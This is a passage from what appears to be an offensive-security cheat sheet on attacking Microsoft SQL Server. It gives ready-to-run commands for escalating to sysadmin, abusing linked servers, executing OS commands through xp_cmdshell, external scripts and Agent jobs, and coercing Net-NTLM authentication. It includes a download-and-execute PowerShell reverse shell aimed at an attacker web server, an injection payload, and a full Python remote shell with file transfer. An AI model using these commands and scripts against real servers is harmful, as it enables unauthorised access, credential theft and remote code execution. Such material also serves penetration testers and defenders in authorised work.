SELECT 'Name' = sp.NAME,sp.is_disabled AS [Is_disabled] FROM sys.server_role_members rm inner join sys.server_principals sp on rm.member_principal_id = sp.principal_id WHERE rm.role_principal_id = SUSER_ID('securityadmin')

-- List users with the "CONTROL SERVER" permission
SELECT login.name, perm.permission_name, perm.state_desc FROM sys.server_permissions perm JOIN sys.server_principals login ON perm.grantee_principal_id = login.principal_id WHERE permission_name = 'CONTROL SERVER';

-- SQL query to create an user
CREATE LOGIN [<USERNAME>] WITH PASSWORD = '<PASSWORD>';
GO

-- From the user with the securityadmin role
GRANT CONTROL SERVER TO [<USERNAME>];
GO

-- From user with the "CONTROL SERVER" permission
GRANT IMPERSONATE ON LOGIN::<sa | USER_SYSADMIN> TO [<USERNAME>];
GO
```

**TRUSTWORTHY database db\_owner role to sysadmin**

Having the `db_owner` role in a `TRUSTWORTHY` database (a database with the `TRUSTWORTHY` property set to true) owned by a user that has the `sysadmin` role can be leveraged to escalate privileges to `sysadmin`.

Indeed a stored procedure, declared by a database owner, that is set to `EXECUTE AS OWNER` will, during execution, acquire the server level permissions of the actual database owner if the database's `TRUSTWORTHY` property is set. Thus, if a database is `TRUSTWORTHY` and owned by an user having the `sysadmin` role, any user having the `db_owner` role on the database can elevate its privileges to `sysadmin`.

```sql
-- List the value of the property TRUSTWORTHY property for all databases
SELECT name, is_trustworthy_on from sys.databases

-- Get the owner of the specified database
SELECT name AS 'Database', suser_sname(owner_sid) AS 'Creator' from sys.databases WHERE name = '<DATABASE_NAME>';

--  Automates the search of trustworthy databases owned by a sysadmin
SELECT d.name AS DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

-- Has the current user the db_owner role on the database
USE <DB_NAME>
SELECT IS_MEMBER('db_owner')

-- Create the stored procedure to add the sysadmin role to the specified user
CREATE PROCEDURE sp_elevate_user WITH EXECUTE AS OWNER AS begin EXEC sp_addsrvrolemember '<USERNAME>','sysadmin' end;
GO

-- Execute the stored procedure to elevate privileges
sp_elevate_user
GO

-- Remove the stored procedure
DROP PROC sp_elevate_user;
GO
```

The `Metasploit`'s `auxiliary/admin/mssql/mssql_escalate_dbowner` module and the `PowerShell` cmdlet `Invoke-SqlServer-Escalate-DbOwner` can be used to automate the process:

```bash
msf5> use auxiliary/admin/mssql/mssql_escalate_dbowner

# Grant user used to login the `sysadmin` role
Invoke-SqlServer-Escalate-DbOwner -SqlServerInstance <HOSTNAME | IP>\<INSTANCE> -SqlUser <USERNAME> -SqlPass <PASSWORD>

# Create a new user and grant him the `sysadmin` role
Invoke-SqlServer-Escalate-DbOwner -SqlServerInstance <HOSTNAME | IP>\<INSTANCE> -SqlUser <USERNAME> -SqlPass <PASSWORD> -newuser <NEW_USERNAME> -newPass <NEW_PASSWORD>
```

**PowerUpSQL's Invoke-SQLAudit / Invoke-SQLEscalatePriv**

The `PowerShell` cmdlets `Invoke-SQLAudit` and `Invoke-SQLEscalatePriv`, of the `PowerUpSQL` suite, can be used to detect and exploit path that can be leveraged to escalate privileges.

The `Invoke-SQLEscalatePriv` cmdlet will call the `Invoke-SQLAudit` cmdlet with the `-Exploit` flag to detect and automatically exploit the following misconfigurations / vulnerabilities in order to escalate to the `sysadmin` role:

* `IMPERSONATE` permission
* `TRUSTWORTHY` database `db_owner`
* `CREATE PROCEDURE` permission

The cmdlets will moreover conduct various other checks: availability of the stored procedures `xpdirtree` and `xp_fileexist` for the specified user, configuration of server database links, etc.

```bash
# Install-Module -Name PowerUpSQL
# IEX(New-Object System.Net.WebClient).DownloadString("https://<WEBSERVER_IP>:<WEBSERVER_PORT>/PowerUpSQL.ps1")

Invoke-SQLAudit -Instance <HOSTNAME | IP>\<INSTANCE> -Username <USERNAME> -Password <PASSWORD> -Exploit
Invoke-SQLAudit -Instance <HOSTNAME | IP>\<INSTANCE> -Credential <PSCredential> -Exploit
```

**Windows local administrator privileges to SQL Server `sysadmin`**

Among other techniques, such as dumping the LSA secrets, the impersonation of an MSSQL service account can be used to access an MSSQL service as `sysadmin` after obtaining local administrator privileges on a Windows host.

`PowerUpSQL`'s `Invoke-SQLImpersonateService` can be used to conduct the impersonation in order to run futher `PowerUpSQL` as `sysadmin`:

```bash
# IEX(New-Object System.Net.WebClient).DownloadString("https://<WEBSERVER_IP>:<WEBSERVER_PORT>/PowerUpSQL.ps1")

Invoke-SQLImpersonateService -Verbose -Instance <HOSTNAME | IP>\<INSTANCE>

Get-SQLServerInfo -Verbose -Instance <HOSTNAME | IP>\<INSTANCE>
# CurrentLogin           : NT Service\MSSQL$<INSTANCE>
```

### Linked servers

**Overview**

The linked server mechanism allows for access to others `Object Linking and Embedding, Database (OLE DB)` data sources outside of the present MSSQL instance. The mechanism can be used at the database level to connect to and query a variety of data stores including, but not limited to:

* SQL Servers
* Oracle Servers
* Text Files
* Excel Files

A server link can be configured to use the current security context of the login, a specified Windows or MSSQL login of the linked server, or be disabled if no credentials are provided. By default, any login that belongs to the `PUBLIC` role can query a database through a server link and may thus use the configured credentials (if any).

Moreover, stored procedures, such as `xp_cmdshell`, can be executed over a server link, according to the configured login roles and permissions. Note that outgoing RPC connections, `RPC Out`, need to be enabled on the link to conduct reconfiguration operations to enable `xp_cmdshell` on the linked instance.

**Discovery and exploitation**

The `OPENQUERY` and `EXEC [...] AT` functions can be used to execute SQL statements on the specified linked server. Note that the statement executed by `OPENQUERY` must return a value, so a `SELECT 1;` is needed for otherwise return less queries. Additionally, `RPC Out` must be enabled in order to use `EXEC [...] AT` statements.

SQL statements can be nested through the `OPENQUERY` and `EXEC [...] AT` functions. Thus, server links can be followed from server to server. To escape the single quote character, inside a string quoted with `'`, it should be written as `''`.

```sql
-- List the linked servers
SELECT srvname from master..sysservers

-- Check if RPC Out is enabled for the specified linked server
EXEC ('master.dbo.sp_helpdb') AT [<HOSTNAME | IP>\<INSTANCE>]

-- Basic login recon
SELECT * FROM OPENQUERY("<HOSTNAME | IP>\<INSTANCE>", 'SELECT SYSTEM_USER')
SELECT * FROM OPENQUERY("<HOSTNAME | IP>\<INSTANCE>", 'SELECT is_srvrolemember(''sysadmin'')')

-- List linked servers configured of the specified linked server
SELECT * FROM OPENQUERY("<HOSTNAME | IP>\<INSTANCE>", 'SELECT srvname from master..sysservers')

-- Nested queries for basic recon on the second MSSQL instance
SELECT * FROM OPENQUERY("<HOSTNAME1 | IP1>\<INSTANCE1>", 'SELECT * FROM OPENQUERY("<HOSTNAME2 | IP2>\<INSTANCE2>", ''SELECT is_srvrolemember(''''sysadmin'''')'')')
EXEC ('EXEC (''SELECT is_srvrolemember(''''sysadmin'''')'') AT [<HOSTNAME2 | IP2>\<INSTANCE2>];') AT [<HOSTNAME1 | IP1>\<INSTANCE1>]

-- Create an user and give it the sysadmin role
EXEC ('CREATE LOGIN <USERNAME> WITH PASSWORD = ''<PASSWORD>'';') AT [<HOSTNAME | IP>\<INSTANCE>]
EXEC ('EXEC master.dbo.sp_addsrvrolemember ''<USERNAME>'',''sysadmin'';') AT [<HOSTNAME | IP>\<INSTANCE>]
-- Nested in order to create the login on the second MSSQL instance
EXEC ('EXEC (''CREATE LOGIN <USERNAME> WITH PASSWORD = ''''<PASSWORD>'''''') AT [<HOSTNAME2 | IP2>\<INSTANCE2>];') AT [<HOSTNAME1 | IP1>\<INSTANCE1>]
EXEC ('EXEC (''EXEC master.dbo.sp_addsrvrolemember ''''<USERNAME>'''',''''sysadmin'''''') AT [<HOSTNAME2 | IP2>\<INSTANCE2>];') AT [<HOSTNAME1 | IP1>\<INSTANCE1>]

-- xp_cmdshell
EXEC ('xp_cmdshell ''<CMD>''') AT [<HOSTNAME1 | IP1>\<INSTANCE1>]
EXEC ('EXEC (''xp_cmdshell ''''<CMD>'''''') AT [<HOSTNAME2 | IP2>\<INSTANCE2>];') AT [<HOSTNAME1 | IP1>\<INSTANCE1>]
SELECT * FROM OPENQUERY("[<HOSTNAME | IP>\<INSTANCE>]",'EXEC master..xp_cmdshell ''<CMD>''')
-- SELECT 1 must be added if the command executed through xp_cmdshell does not return any result
SELECT * FROM OPENQUERY("[<HOSTNAME | IP>\<INSTANCE>]",'SELECT 1; EXEC master..xp_cmdshell ''<CMD>''')
SELECT * FROM OPENQUERY("[<HOSTNAME1 | IP1>\<INSTANCE1>]", 'SELECT * FROM OPENQUERY("[<HOSTNAME2 | IP2>\<INSTANCE2>]", ''xp_cmdshell whoami;'')');
```

The `PowerUpSQL`'s `Get-SQLServerLinkCrawl` PowerShell cmdlet can be used to automate the discovery and exploitation process detailed above:

```bash
# Lists and retrieves information (link name, is_data_access_enabled / is_rpc_out_enabled, etc.) on the database links of the specified instance.
Get-SQLServerLink -Verbose -Instance "<INSTANCE>"

# Recursively enumerates the database links of the specified instance (and displays if sysadmin privileges are granted on the linked instance(s)).
Get-SqlServerLinkCrawl -Instance "<INSTANCE>"

# Executes the given SQL query on all the database(s) linked to the specified instance.
Get-SQLServerLinkCrawl -Instance "<INSTANCE>" -Query "<SELECT @@version | SQL_QUERY>"

# Leverages sysadmin privileges on the linked databse to enable xp_cmdshell.
Get-SQLServerLinkCrawl -Instance "<INSTANCE>" -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT "<LINKED_INSTANCE>"'

# Executes an operating system command using xp_cmdshell on all the linked database (requires sufficient privileges and xp_cmdshell to be enabled).
Get-SQLServerLinkCrawl -Instance "<INSTANCE>" -Query 'exec master..xp_cmdshell ''<OS_COMMAND>'''
```

Additionally, the `Metasploit` module `exploit/windows/mssql/mssql_linkcrawler` can be used to automatically and recursively crawl the configured server links and deploy payloads if the `DEPLOY` is set to `True`:

```
msf> use exploit/windows/mssql/mssql_linkcrawler
```

### OS commands execution

#### `xp_cmdshell` procedure

The `xp_cmdshell` extended procedure can be used to execute system commands given that the account making the queries has sufficient privileges on the SQL service. The `xp_cmdshell` function is deactivated by default starting from `SQL Server 2000` and upwards and needs to be activated. Its re activation requires elevated privileges.

As with any stored procedure, `xp_cmdshell` needs to be called through stacked queries.

Note that the Windows process spawned by `xp_cmdshell` has the same security rights as the SQL Server service account running the service.

**`xp_cmdshell` activation**

The following query can be used to manually activate it given the account used has sufficient privilege (sysadmin):

```
-- Checks if xp_cmdshell is enabled (config_value = 1).
EXEC sp_configure 'xp_cmdshell';

-- To allow advanced options to be changed.  
EXEC sp_configure 'show advanced options', 1;  
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE;  
GO

-- To enable the feature.  
EXEC sp_configure 'xp_cmdshell', 1;  
GO

-- To update the currently configured value for this feature.  
RECONFIGURE;  
GO
```

Operating system CMD commands can then be executed:

```
EXEC xp_cmdshell '<CMD>'
GO
```

The SQL queries above can be made using the `sqsh` Linux utility as well as the `impacket` Python script `mssqlclient.py`. The `mssqlclient.py` client integrates the `enable_xp_cmdshell` and `xp_cmdshell` commands to automatically enable xp\_cmdshell and execute command through it.

```bash
# mssqlclient.py ...
SQL> enable_xp_cmdshell
SQL> xp_cmdshell <CMD>
SQL> sp_start_job <CMD>
```

**PowerShell reverse shell**

In order to execute command through a system shell, the `PowerShell` `Nishang`'s `Invoke-PowerShellTcp.ps1` can be used.

Once a web server hosting the `PowerShell` script and a listener are up and running, the following commands can be used to download and execute the script through the MSSQL service:

```sql
EXEC xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>;"

-- Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port> must be added at the end of the script
EXEC xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-PowerShellTcp.ps1')"
```

**Metasploit**

The `Metasploit` module `exploit/windows/mssql/mssql_payload` automates the tasks above to deploy a payload, such as a reverse `meterpreter`, on the server through the MSSQL service.

The module `exploit/windows/mssql/mssql_payload_sqli` works similarly and can be used through an SQL injection.

**Standalone MSSQL shell for constrained environments**

If outbound traffic (TCP, UDP, ICMP, etc.) is being blocked, the following `Python` script can be used as a pseudo shell by making use of `xp_cmdshell` and keeping track of the current working directory. The script also provides a way to upload / download files using multiple echo commands in order to write a base64-encoded file on the server and decoding it using the `certutil` utility.

```python
#!/usr/bin/env python2
from __future__ import print_function

# Author: Alamot
# Download functionality: Qazeer
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# To dowload a file from the remote host, type: DOWNLOAD remote_path [local_path]
# e.g. DOWNLOAD myfile.txt
# Or DOWNLOAD remotefile.txt /tmp/file.txt
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
import _mssql
import base64
import ntpath
import os
import random
import shlex
import string
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass

MSSQL_SERVER = '<IP>'
MSSQL_USERNAME = '<USERNAME>'
MSSQL_PASSWORD = '<PASSWORD>'
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def id_generator(size=12, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def process_result(mssql):
    username = ""
    computername = ""
    cwd = ""
    rows = list(mssql)
    for row in rows[:-3]:
        columns = row.keys()
        print(row[columns[-1]])
    if len(rows) >= 3:
        (username, computername) = rows[-3][rows[-3].keys()[-1]].split('|')
        cwd = rows[-2][rows[-3].keys()[-1]]
    return (username.rstrip(), computername.rstrip(), cwd.rstrip())


def upload(mssql, stored_cwd, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    cmd = 'type nul > "' + remote_path + '.b64"'
    mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

    with open(local_path, 'rb') as f:
        data = f.read()
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = "".join(base64.encodestring(data).split())

    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        #print("Remaining: "+str(len(b64enc_data)-i))

    cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    process_result(mssql)
    cmd = 'certutil -hashfile "' + remote_path + '" MD5'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    if md5sum in [row[row.keys()[-1]].strip() for row in mssql if row[row.keys()[-1]]]:
        print("MD5 hashes match: " + md5sum)
    else:
        print("ERROR! MD5 hashes do NOT match!")


def dowload(mssql, stored_cwd, remote_path, local_path=""):
    try:
        remote_path = remote_path.replace('"', '').replace('\'', '')
        if local_path == "":
            local_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ntpath.basename(remote_path))

        print("Downloading " + remote_path + " to " + local_path)

        tmp_filename = '%TEMP%\\' + id_generator() + ".b64"
        cmd = 'del "' + tmp_filename + '"'
        mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")

        cmd = 'certutil -encode "' + remote_path + '" "' + tmp_filename + '"'
        mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")

        cmd = 'type "' + tmp_filename + '"'
        mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")

        certutil_result = list(mssql)

        if "CERTIFICATE-----" not in str(certutil_result[0][0]):
            raise Exception("ERROR! Encoding with Certutil failed!")

        file_b64 = ""
        for row in certutil_result[1:-4]:
            columns = list(row)
            file_b64 += row[columns[-1]]

        with open(local_path, 'wb') as f:
            data = base64.b64decode(file_b64, None)
            md5sum = hashlib.md5(data).hexdigest()
            f.write(data)

        tmp_filename = '%TEMP%\\' + tmp_filename + ".b64"
        cmd = 'del "' + tmp_filename + '"'
        mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")

        cmd = 'certutil -hashfile "' + remote_path + '" MD5'
        mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
        if md5sum in [row[row.keys()[-1]].strip() for row in mssql if row[row.keys()[-1]]]:
            print("MD5 hashes match: " + md5sum)
        else:
            Exception("ERROR! MD5 hashes do NOT match!")

        return "echo *** DOWNLOAD PROCEDURE FINISHED ***"

    except Exception as e:
        return "echo *** ERROR WHILE DOWNLOADING THE FILE: " + e + " ***"


def shell():
    mssql = None
    stored_cwd = None
    try:
        mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
        print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

        print("Trying to enable xp_cmdshell ...")
        mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

        cmd = 'echo %username%^|%COMPUTERNAME% & cd'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        (username, computername, cwd) = process_result(mssql)
        stored_cwd = cwd

        while True:
            cmd = raw_input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
            if cmd.lower()[0:4] == "exit":
                mssql.close()
                return
            elif cmd[0:6] == "UPLOAD":
                upload_cmd = shlex.split(cmd, posix=False)
                if len(upload_cmd) < 3:
                    upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
                else:
                    upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
            elif cmd[0:8] == "DOWNLOAD":
                dowload_cmd = shlex.split(cmd, posix=False)
                if len(dowload_cmd) < 3:
                    cmd = dowload(mssql, stored_cwd, dowload_cmd[1])
                else:
                    cmd = dowload(mssql, stored_cwd, dowload_cmd[1], dowload_cmd[2])
            mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
            (username, computername, cwd) = process_result(mssql)
            stored_cwd = cwd

    except _mssql.MssqlDatabaseException as e:
        if  e.severity <= 16:
            print("MSSQL failed: "+str(e))
        else:
            raise
    finally:
        if mssql:
            mssql.close()

shell()
sys.exit()
```

#### `sp_execute_external_script` procedure

Introduced in `SQL Server 2016 (13.x)` and `Azure SQL Managed Instance`, the `sp_execute_external_script` procedure can be used to execute scripts written in a number of supported language (`Python`, `R`, or `Java`). The `external scripts enabled` option, off by default, must be set and the language supported by the server to allow external scripts execution of a given language.

In `SQL Server 2016 (13.x)`, only the `R` language is supported. Starting from `SQL Server 2017 (14.x)`, the installation of the `Machine Learning Services` feature may result in the activation of the `external scripts enabled` option and the support of the `Python` and / or `R` languages. Additionally, for `SQL Server 2019 (15.x)` and later, support for the `Java` language can be configured directly through the `Machine Learning Services` feature.

**`sp_execute_external_script` activation and languages support**

The following query can be used to manually activate the `sp_execute_external_script` procedure, given the account used has sufficient privilege:

```sql
-- Returns 1 if the "external scripts enabled" option is enabled.
EXECUTE sp_configure  'external scripts enabled'

-- Enables the "external scripts enabled" option.
EXEC sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE WITH OVERRIDE;
GO
```

The following queries can be used to test whether the `Python` / `R` languages are supported:

```sql
-- Source : https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/external-scripts-enabled-server-configuration-option?view=sql-server-ver15

-- Returns "supported 1" if the `Python` language is supported.
EXEC sp_execute_external_script  @language =N'Python',
@script=N'
OutputDataSet = InputDataSet;
',
@input_data_1 =N'SELECT 1 AS supported'
WITH RESULT SETS (([hello] int not null));
GO

-- Returns "supported 1" if the `Python` language is supported.
EXEC sp_execute_external_script  @language =N'R',
@script=N'
OutputDataSet <- InputDataSet;
',
@input_data_1 =N'SELECT 1 AS supported'
WITH RESULT SETS (([hello] int not null));
GO
```

**Operating System commands execution through `sp_execute_external_script`**

If the prerequisites are satisfied, script of any supported language can be executed using the `sp_execute_external_script` procedure:

```sql
-- sp_execute_external_script  procedure basic usage.
EXEC sp_execute_external_script
    @language = N'<Python | R | LANGUAGE>',
    @script = N'<SCRIPT>'
GO

-- Example call to sp_execute_external_script to execute OS command with output using Python.
EXEC sp_execute_external_script @language = N'Python' , @script = N'
import subprocess;
a = subprocess.check_output(["<OS_COMMAND>"], shell=True).decode();
print(a);
'
GO
```

#### SQL Server Agent

**Overview**

The `SQL Server Agent` is a Windows service that executes scheduled tasks, denominated `SQL Server Agent jobs`. `SQL Server Agent` is available is all versions of `SQL server`, except `SQL Server Express`, **but is disabled by default**.

In order to fulfil its function, the `SQL Server Agent` Windows service must be run using an account having the `sysadmin` fixed server role in `SQL Server` as well as the following Windows privileges: `SeServiceLogonRight`, `SeAssignPrimaryTokenPrivilege`, `SeChangeNotifyPrivilege`, and `SeIncreaseQuotaPrivilege`.

The `SQL Server Agent jobs` can be executed:

* through a `SQL Agent schedule`, for example at a recurring interval or at a specific timestamp. A job can be associated with multiple schedules, and reciprocally, a schedule can dictate the execution of multiple jobs.
* upon the triggering of a `SQL Agent alert`, for example in response to an event such as another job execution or the reaching of a system resources usage threshold.
* **directly by executing the `sp_start_job` stored procedure.**

A `SQL Server Agent job` is composed of (at least) one or multiple steps, each step being assigned to a specific `SQL Server Agent` subsystem. It is possible to execute operating system commands using the following subsystems:

* `CmdExec`: run an executable with the specified command line option, such as `cmd.exe /c <COMMAND>` for example.
* `PowerShell`: run a PowerShell script, by specifying either the PowerShell code directly or a PowerShell script file.
* `ActiveX`: run an `ActiveX` script. Note that the `ActiveSscripting` subsystem is discontinued since `SQL Server 2016` (included).

Note that a `SQL Server Agent job` can run locally on the `SQL Server` they are configured as well as on one or multiple remote servers.

The permissions to configure, execute, and delete `SQL Server Agent jobs` are governed by the following fixed database roles:

| Role                   | Scope                                | Notable associated permissions                                                                                                                                                                                                                                                                                                                                                                           |
| ---------------------- | ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sysadmin`             | Fixed-server role.                   | <p>Can administrate and execute any jobs, regardless of the job's owner.<br><br>Is the only role that can define new <code>proxy accounts</code>.<br>Additionally, can define and execute jobs that will run as the <code>SQL Server Agent</code> Windows service account.<br><br>By default, only the members of the <code>sysadmin</code> fixed server role can setup a multi-servers environment.</p> |
| `SQLAgentUserRole`     | `msdb` database fixed-database role. | <p>Can create and execute local jobs under their own security context or using the identity of an existing <code>proxy account</code>.<br><br>Can enumerate, modify, or delete jobs they own.<br><br>By default, cannot delete the job history of the jobs they own.<br>Cannot enumerate, administrate, or execute jobs they don't own.</p>                                                              |
| `SQLAgentReaderRole`   | `msdb` database fixed-database role. | <p>Includes the permissions of the <code>SQLAgentUserRole</code> role.<br><br>Can additionally enumerate and view the properties / history of all local or multi-servers jobs.</p>                                                                                                                                                                                                                       |
| `SQLAgentOperatorRole` | `msdb` database fixed-database role. | <p>Includes the permissions of the <code>SQLAgentUserRole</code> and <code>SQLAgentReaderRole</code> roles.<br><br>Can additionally execute, stop, and enable / disable all local jobs and their job history.<br><br>Cannot however modify or delete jobs they don't own (nor make use of multi-servers jobs).</p>                                                                                       |

**SQL Server Agent jobs prerequisites**

In order to execute `SQL Server Agent jobs`:

* the `SQL Server Agent` Windows service must be running.
* the current user must have sufficient privileges (fixed-server `sysadmin` role or any of the fixed-database roles introduced above).

```
# Checks whether the SQL Server Agent Windows service is running or not.
SELECT dss.[status], dss.[status_desc] FROM sys.dm_server_services dss WHERE  dss.[servicename] LIKE N'SQL Server Agent (%';

# Checks if the current, or specified, user has the fixed-server sysadmin role.
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT IS_SRVROLEMEMBER('sysadmin', '<USERNAME>')

# Lists the each users msdb database's roles (including the SQLAgentUserRole, SQLAgentReaderRole, SQLAgentOperatorRole roles related to SQL Server Agent jobs).
SELECT u.name, r.name FROM msdb.sys.database_role_members AS m INNER JOIN msdb.sys.database_principals AS r ON m.role_principal_id = r.principal_id INNER JOIN msdb.sys.database_principals AS u ON u.principal_id = m.member_principal_id;

USE MSDB; EXEC sp_helprolemember 'SQLAgentUserRole';
USE MSDB; EXEC sp_helprolemember 'SQLAgentReaderRole';
USE MSDB; EXEC sp_helprolemember 'SQLAgentOperatorRole';
```

**SQL Server Agent jobs operations**

The following SQL statements can be used to enumerate, create or delete `SQL Server Agent jobs`:

```sql
-- Retrieves information about the currently defined SQL Server Agent jobs.
SELECT job_id, name, enabled, description, originating_server_id, start_step_id, owner_sid, date_created, date_modified FROM msdb.dbo.sysjobs;

-- Enumerates all, or the specified, SQL Server Agent jobs' steps.
SELECT * FROM msdb.dbo.sysjobsteps;
SELECT * FROM msdb.dbo.sysjobsteps WHERE job_id = N'<JOBS_ID>';

-- Retrieves information about all, or the specified, activity and status.
SELECT * FROM msdb.dbo.sysjobactivity;
SELECT * FROM msdb.dbo.sysjobactivity WHERE job_id = N'<JOBS_ID>';

-- Enumerates the EXEC msdb.dbo.sp_help_prox
EXEC msdb.dbo.sp_help_prox

-- Retrieves information about past (all or the specified) SQL Server Agent jobs execution history.
SELECT * FROM msdb.dbo.sysjobhistory;
SELECT * FROM msdb.dbo.sysjobhistory WHERE job_id = N'<JOBS_ID>';

-- Deletes the specified SQL Server Agent jobs.
EXEC msdb.dbo.sp_delete_job @job_name = N'<JOBS_NAME>';
EXEC msdb.dbo.sp_delete_job @job_id = N'<JOBS_ID>';

-- Deletes SQL Server Agent jobs history.
EXEC msdb.dbo.sp_purge_jobhistory @job_name = N'<JOBS_NAME>';
EXEC msdb.dbo.sp_purge_jobhistory @job_id = N'<JOBS_ID>';
-- Members of the sysadmin or SQLAgentOperatorRole roles can delete all local jobs history (and  multiservers jobs history as well for sysadmin).
EXEC msdb.dbo.sp_purge_jobhistory;

-- Creates and runs a SQL Server Agent job with a single CmdExec / PowerShell step to execute an operating system command.
EXEC msdb.dbo.sp_add_job @job_name = N'<JOBS_NAME>';
-- A proxy can be specified using proxy_id (@proxy_id = <1 | PROXY_ID>) or proxy_name (@proxy_name = <PROXY_NAME>) to run the jobs step under the identity of another identity.
EXEC msdb.dbo.sp_add_jobstep @job_name = N'<JOBS_NAME>', @step_name = N'<JOBS_STEP>', @subsystem = N'<CmdExec | PowerShell>', @command = N'<CMD_COMMAND | POWERSHELL_COMMAND>', @retry_attempts = <1 | RETRY_ATTEMPTS>, @retry_interval = <1 | RETRY_INTERVAL_IN_MINUTES>;
-- The job will be executed on the local server by default. If necessary, the sp_add_jobserver procedure can be used to attach the job to a remote server (registered as a target server for the current instance).
EXEC msdb.dbo.sp_add_jobserver @job_name = N'<JOBS_NAME>', @server_name = N'<LOCAL | SERVER_NAME>';
EXEC msdb.dbo.sp_start_job N'<JOBS_NAME>'
```

### Net-NTLM stealer and relaying

The (undocumented) `xp_dirtree`, `xp_fileexist` and `xp_getfiledetails` SQL stored procedures can be used to access files on remote systems over `SMB`. The account running the SQL service, be it a local or domain joined account, will authenticate to the `SMB` share by completing a `Net-NTLMv1` or `Net-NTLMv2` challenge.

This response can be offline cracked to retrieve the password of the SQL service account. The authentication challenge can also be relayed in order to directly execute commands as the account running the SQL service through the `SMB` service of a targeted server. The targeted server must expose a `SMB` service that does not require message signing and the SQL service account must have local administrator privileges on the server. For more information on how to conduct this attack, refer to the `Active Directory - NTLM Relaying` note.

Depending on the permissions configured to use the procedures, a non privileged user may be able to execute them. Usually, the account connecting to the database should only require the `PUBLIC` role to execute the procedures.

To capture the `Net-NTLM` response, a `SMB` share service or `Responder` must be started:

```bash
smbserver.py -smb2support <SHARE_NAME> <LOCAL_DIRECTORY>

Responder.py -I <INTERFACE>
```

Then, from a connected SQL interpreter, the methods can be used to make a connection to the `SMB` service:

```sql
-- METHOD = xp_dirtree / xp_fileexist / xp_getfiledetails
<METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>';
EXEC <METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>';
EXEC <METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>',1,1;
EXEC master.sys.<METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>';
EXEC master..<METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>';
EXEC master.dbo.<METHOD> '\\<HOSTNAME | IP>\<WHATEVER_SHARE>';

# To bypass single quote issues in SQL injection, the following may be used.
# Example: \\<IP>\<FAKE_SHARE> -> 0x5c5c3c49503e5c3c46414b455f53484152453e
1;DECLARE @varshare VARCHAR(8000);SET @varshare=<0xHEX_ENCODED_PATH>;EXEC master.sys. <METHOD> @varshare--
```

The `metasploit` module `auxiliary/admin/mssql/mssql_ntlm_stealer` and the `msdat` `Python` script can be used to try the three methods above automatically:

```bash
# Only tries xp_dirtree and xp_fileexist
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

